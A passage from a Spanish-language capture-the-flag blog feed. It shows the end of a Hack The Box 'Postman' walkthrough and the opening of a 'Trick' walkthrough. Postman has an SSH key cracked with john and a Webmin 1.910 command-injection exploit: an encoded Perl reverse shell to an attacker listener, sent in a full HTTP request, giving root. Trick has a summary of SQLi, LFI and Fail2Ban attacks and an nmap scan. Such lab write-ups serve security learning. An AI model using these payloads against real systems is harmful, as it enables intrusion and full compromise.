&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cat /etc/ssh/sshd_config
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;BLA, BLA
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#deny users&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;DenyUsers Matt
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;BLA, BLA
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="cracking-de-clave-ssh"&gt;Cracking de Clave SSH&lt;/h3&gt;
&lt;p&gt;Igualmente utilizo &lt;code&gt;ssh2john&lt;/code&gt; para convertir la clave a un formato crackeable y luego &lt;code&gt;john&lt;/code&gt; con el diccionario &lt;em&gt;rockyou&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f1888fa-f353-80e8-99a7-deca88115975.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;┌──&lt;/span&gt;(root&lt;span style="color:#960050;background-color:#1e0010"&gt;㉿&lt;/span&gt;kali)-[/home/&lt;span style="color:#960050;background-color:#1e0010"&gt;…&lt;/span&gt;/Desktop/HTB/Postman/loot]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;└─&lt;/span&gt;&lt;span style="color:#75715e"&gt;# ssh2john id_rsa &lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;id_rsa&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;$sshng$0$8$73E9CEFBCCF5287C$1192$25e840e75235eebb0238e56ac96c7e0bcdfadc8381617435d43770fe9af72f6036343b41eedbec5cdcaa2838217d09d77301892540fd90a267889909cebbc5d567a9bcc3648fd648b5743360df306e396b92ed5b26ae719c95fd1146f923b936ec6b13c2c32f2b35e491f11941a5cafd3e74b3723809d71f6ebd5d5c8c9a6d72cba593a26442afaf8f8ac928e9e28bba71d9c25a1ce403f4f02695c6d5678e98cbed0995b51c206eb58b0d3fa0437fbf1b4069a6962aea4665df2c1f762614fdd6ef09cc7089d7364c1b9bda52dbe89f4aa03f1ef178850ee8b0054e8ceb37d306584a81109e73315aebb774c656472f132be55b092ced1fe08f11f25304fe6b92c21864a3543f392f162eb605b139429bb561816d4f328bb62c5e5282c301cf507ece7d0cf4dd55b2f8ad1a6bc42cf84cb0e97df06d69ee7b4de783fb0b26727bdbdcdbde4bb29bcafe854fbdbfa5584a3f909e35536230df9d3db68c90541d3576cab29e033e825dd153fb1221c44022bf49b56649324245a95220b3cae60ab7e312b705ad4add1527853535ad86df118f8e6ae49a3c17bee74a0b460dfce0683cf393681543f62e9fb2867aa709d2e4c8bc073ac185d3b4c0768371360f737074d02c2a015e4c5e6900936cca2f45b6b5d55892c2b0c4a0b01a65a5a5d91e3f6246969f4b5847ab31fa256e34d2394e660de3df310ddfc023ba30f062ab3aeb15c3cd26beff31c40409be6c7fe3ba8ca13725f9f45151364157552b7a042fa0f26817ff5b677fdd3eead7451decafb829ddfa8313017f7dc46bafaac7719e49b248864b30e532a1779d39022507d939fcf6a34679c54911b8ca789fef1590b9608b10fbdb25f3d4e62472fbe18de29776170c4b108e1647c57e57fd1534d83f80174ee9dc14918e10f7d1c8e3d2eb9690aa30a68a3463479b96099dee8d97d15216aec90f2b823b207e606e4af15466fff60fd6dae6b50b736772fdcc35c7f49e5235d7b052fd0c0db6e4e8cc6f294bd937962fab62be9fde66bf50bb149ca89996cf12a54f91b1aa2c2c6299ea9da821ef284529a5382b18d080aaede451864bb352e1fdcff981a36b505a1f2abd3a024848e0f3234ef73f3e2dda0dd7041630f695c11063232c423c7153277bbe671cb4b483f08c266fc547d89ff2b81551dabef03e6fd968a67502100111a7022ff3eb58a1fc065692d50b40eb379f155d37c1d97f6c2f5a01de13b8989174677c89d8a644758c071aea8d4c56a0374801732348db0b3164dcc82b6eaf3eb3836fa05cf5476258266a30a531e1a3132e11b944e8e0406cad59ffeaecc1ab3b7705db99353c458dc9932a638598b195e25a14051e414e20dc1510eb476a467f4e861a51036d453ea96721e0be34f4993a34b778d4111b29a63d69c1b8200869a129392684af8c4daa32f3d0a0d17c36275f039b4a3bf29e9436b912b9ed42b168c47c4205dcd00c114da8f8d82af761e69e900545eb6fc10ef1ba4934adb6fa9af17c812a8b420ed6a5b645cad812d394e93d93ccd21f2d444f1845d261796ad055c372647f0e1d8a844b8836505eb62a9b6da92c0b8a2178bad1eafbf879090c2c17e25183cf1b9f1876cf6043ea2e565fe84ae473e9a7a4278d9f00e4446e50419a641114bc626d3c61e36722e9932b4c8538da3ab44d63
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;┌──&lt;/span&gt;(root&lt;span style="color:#960050;background-color:#1e0010"&gt;㉿&lt;/span&gt;kali)-[/home/&lt;span style="color:#960050;background-color:#1e0010"&gt;…&lt;/span&gt;/Desktop/HTB/Postman/loot]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;└─&lt;/span&gt;&lt;span style="color:#75715e"&gt;# ssh2john id_rsa &amp;gt; id_rsa.hash&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;┌──&lt;/span&gt;(root&lt;span style="color:#960050;background-color:#1e0010"&gt;㉿&lt;/span&gt;kali)-[/home/&lt;span style="color:#960050;background-color:#1e0010"&gt;…&lt;/span&gt;/Desktop/HTB/Postman/loot]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;└─&lt;/span&gt;&lt;span style="color:#75715e"&gt;# john --wordlist=/usr/share/wordlists/seclists/rockyou.txt id_rsa.hash&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;computer2008 (id_rsa)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Tenemos contraseña! &lt;code&gt;computer2008&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Probamos mediante SSH sabiendo que no va a funcionar, y efectivamente no podemos entrar, pero viendo que redis usaba su Matt.
Sin embargo, como ya estoy dentro como &lt;code&gt;redis&lt;/code&gt;, puedo cambiar de usuario localmente usando la contraseña crackeada.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f1888fa-f353-80fa-8af4-c800edadd5cf.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Bingo!&lt;/p&gt;
&lt;p&gt;Consigo la &lt;strong&gt;user flag&lt;/strong&gt;.&lt;/p&gt;
&lt;h3 id="elevación-de-privilegios"&gt;Elevación de privilegios&lt;/h3&gt;
&lt;p&gt;Al enumerar los permisos de sudo de Matt, veo que no tiene acceso a nada interesante. Sin embargo, recordamos el puerto 10000 (Webmin). Pruebo las credenciales &lt;code&gt;Matt:computer2008&lt;/code&gt; en el panel de login y logro acceder.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f1888fa-f353-8087-b40c-d85ef56bef77.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Estamos dentro.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f1888fa-f353-807e-88ab-d34e04243bca.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;La versión 1.910 de Webmin es vulnerable a RCE autenticado en el endpoint de actualizaciones de paquetes. La vulnerabilidad reside en el parámetro &lt;code&gt;u&lt;/code&gt; del script &lt;code&gt;/package-updates/update.cgi&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Preparo un payload en Perl para establecer una reverse shell, lo codifico en Base64 y lo inyecto en la petición HTTP.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;echo -n &lt;span style="color:#e6db74"&gt;&amp;#34;perl -MIO -e &amp;#39;\&lt;/span&gt;$p&lt;span style="color:#e6db74"&gt;=fork;exit,if(\&lt;/span&gt;$p&lt;span style="color:#e6db74"&gt;);\&lt;/span&gt;$c&lt;span style="color:#e6db74"&gt;=new IO::Socket::INET(PeerAddr,\&amp;#34;&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;10.10&lt;/span&gt;.15.&lt;span style="color:#ae81ff"&gt;44&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;4444&lt;/span&gt;\&lt;span style="color:#e6db74"&gt;&amp;#34;);STDIN-&amp;gt;fdopen(\&lt;/span&gt;$c&lt;span style="color:#e6db74"&gt;,r);\$~-&amp;gt;fdopen(\&lt;/span&gt;$c&lt;span style="color:#e6db74"&gt;,w);system\&lt;/span&gt;$_&lt;span style="color:#e6db74"&gt; while&amp;lt;&amp;gt;;&amp;#39;&amp;#34;&lt;/span&gt; | base64 -w &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cGVybCAtTUlPIC1lICckcD1mb3JrO2V4aXQsaWYoJHApOyRjPW5ldyBJTzo6U29ja2V0OjpJTkVUKFBlZXJBZGRyLCIxMC4xMC4xNS40NDo0NDQ0Iik7U1RESU4tPmZkb3BlbigkYyxyKTskfi0+ZmRvcGVuKCRjLHcpO3N5c3RlbSRfIHdoaWxlPD47Jw==
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| bash -c &lt;span style="color:#e6db74"&gt;&amp;#34;{echo,cGVybCAtTUlPIC1lICckcD1mb3JrO2V4aXQsaWYoJHApOyRjPW5ldyBJTzo6U29ja2V0OjpJTkVUKFBlZXJBZGRyLCIxMC4xMC4xNS40NDo0NDQ0Iik7U1RESU4tPmZkb3BlbigkYyxyKTskfi0+ZmRvcGVuKCRjLHcpO3N5c3RlbSRfIHdoaWxlPD47Jw==}|{base64,-d}|{bash,-i}&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Lo URL Encodeamos.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;+&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;7C+bash+-c+&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;22&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;7Becho&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;2CcGVybCAtTUlPIC1lICckcD1mb3JrO2V4aXQsaWYoJHApOyRjPW5ldyBJTzo6U29ja2V0OjpJTkVUKFBlZXJBZGRyLCIxMC4xMC4xNS40NDo0NDQ0Iik7U1RESU4tPmZkb3BlbigkYyxyKTskfi0&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;2BZmRvcGVuKCRjLHcpO3N5c3RlbSRfIHdoaWxlPD47Jw&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;3D&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;3D&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;7D&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;7C&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;7Bbase64&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;2C-d&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;7D&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;7C&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;7Bbash&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;2C-i&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;7D&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;22&lt;/span&gt;+&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;0D&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;0A
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Al enviar la petición, recibo una conexión inversa en mi listener como el usuario &lt;strong&gt;root&lt;/strong&gt;.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;POST /package-updates/update.cgi HTTP/&lt;span style="color:#ae81ff"&gt;1.1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Host&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.2.&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;10000&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Cookie&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; redirect=&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;; testing=&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;; sid=af122636c747c504f006f91e9b600aae
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;User-Agent&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; Mozilla/&lt;span style="color:#ae81ff"&gt;5.0&lt;/span&gt; (X11; Linux x86_64; rv&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;128.0&lt;/span&gt;) Gecko/&lt;span style="color:#ae81ff"&gt;20100101&lt;/span&gt; Firefox/&lt;span style="color:#ae81ff"&gt;128.0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Accept&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; */*
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Accept-Language&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; en-US,en;q=&lt;span style="color:#ae81ff"&gt;0.5&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Accept-Encoding&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; gzip, deflate, br
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Content-Type&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; application/x-www-form-urlencoded; charset=UTF-&lt;span style="color:#ae81ff"&gt;8&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;X-Progressive-Url: https&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;//&lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.2.&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;10000&lt;/span&gt;/package-updates/update.cgi
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;X-Requested-From: package-updates
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;X-Requested-From-Tab: webmin
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;X-Requested-With: XMLHttpRequest
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Content-Length&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;289&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Origin&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; https&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;//&lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.2.&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;10000&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Referer&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; https&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;//&lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.2.&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;10000&lt;/span&gt;/package-updates/update.cgi&lt;span style="color:#66d9ef"&gt;?&lt;/span&gt;xnavigation=&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Sec-Fetch-Dest: empty
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Sec-Fetch-Mode: cors
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Sec-Fetch-Site: same-origin
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Priority&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; u=&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Te&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; trailers
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Connection&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; keep-alive
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;u=acl&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;2Fapt&amp;amp;u=+&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;7C+bash+-c+&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;22&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;7Becho&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;2CcGVybCAtTUlPIC1lICckcD1mb3JrO2V4aXQsaWYoJHApOyRjPW5ldyBJTzo6U29ja2V0OjpJTkVUKFBlZXJBZGRyLCIxMC4xMC4xNS40NDo0NDQ0Iik7U1RESU4tPmZkb3BlbigkYyxyKTskfi0&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;2BZmRvcGVuKCRjLHcpO3N5c3RlbSRfIHdoaWxlPD47Jw&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;3D&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;3D&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;7D&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;7C&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;7Bbase64&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;2C-d&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;7D&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;7C&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;7Bbash&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;2C-i&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;7D&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;22&lt;/span&gt;+&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;0D&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;0A
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Rooted.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f1888fa-f353-80e4-b86a-c509d9d64746.png" alt="Imagen del post"&gt;&lt;/p&gt;</content><author>admin@synacklabs.github.io (SynAckLabs)</author></item><item><title>Trick (Easy)</title><link>https://synacklabs.github.io/posts/trick/</link><pubDate>Thu, 22 Jan 2026 00:00:00 +0000</pubDate><guid>https://synacklabs.github.io/posts/trick/</guid><description>&lt;h2 id="resumen"&gt;Resumen&lt;/h2&gt;
&lt;p&gt;Esta máquina Linux expone varios servicios web y DNS. Comienzo enumerando DNS donde encuentro una transferencia de zona que revela subdominios ocultos. En uno de ellos, abuso de una &lt;strong&gt;SQL Injection&lt;/strong&gt; para acceder a un panel administrativo y obtener credenciales, aunque no son útiles para SSH. En un segundo subdominio, exploto un &lt;strong&gt;LFI (Local File Inclusion)&lt;/strong&gt; con bypass de filtros para exfiltrar una clave SSH privada. Finalmente, escalo privilegios abusando de permisos de escritura en la configuración de &lt;strong&gt;Fail2Ban&lt;/strong&gt; y mi capacidad de reiniciar el servicio con &lt;code&gt;sudo&lt;/code&gt;.&lt;/p&gt;</description><content>&lt;h2 id="resumen"&gt;Resumen&lt;/h2&gt;
&lt;p&gt;Esta máquina Linux expone varios servicios web y DNS. Comienzo enumerando DNS donde encuentro una transferencia de zona que revela subdominios ocultos. En uno de ellos, abuso de una &lt;strong&gt;SQL Injection&lt;/strong&gt; para acceder a un panel administrativo y obtener credenciales, aunque no son útiles para SSH. En un segundo subdominio, exploto un &lt;strong&gt;LFI (Local File Inclusion)&lt;/strong&gt; con bypass de filtros para exfiltrar una clave SSH privada. Finalmente, escalo privilegios abusando de permisos de escritura en la configuración de &lt;strong&gt;Fail2Ban&lt;/strong&gt; y mi capacidad de reiniciar el servicio con &lt;code&gt;sudo&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f0888fa-f353-8010-b2a5-dfb150ac841c.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;h2 id="escaneo-y-reconocimiento"&gt;Escaneo y Reconocimiento&lt;/h2&gt;
&lt;p&gt;Comienzo con un escaneo básico de servicios. Detecto SSH, DNS y un servidor Web Nginx.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;PORT STATE SERVICE REASON VERSION
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;22&lt;/span&gt;/tcp open ssh syn-ack ttl &lt;span style="color:#ae81ff"&gt;63&lt;/span&gt; OpenSSH &lt;span style="color:#ae81ff"&gt;7&lt;/span&gt;.9p1 Debian &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt;+deb10u2 (protocol &lt;span style="color:#ae81ff"&gt;2.0&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| ssh-hostkey&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| &lt;span style="color:#ae81ff"&gt;2048&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;61&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;ff&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;29&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;3b&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;36&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;bd&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;9d&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;ac&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;fb&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;de&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;1f&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;56&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;88&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;4c&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;ae&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;2d&lt;/span&gt; (RSA)
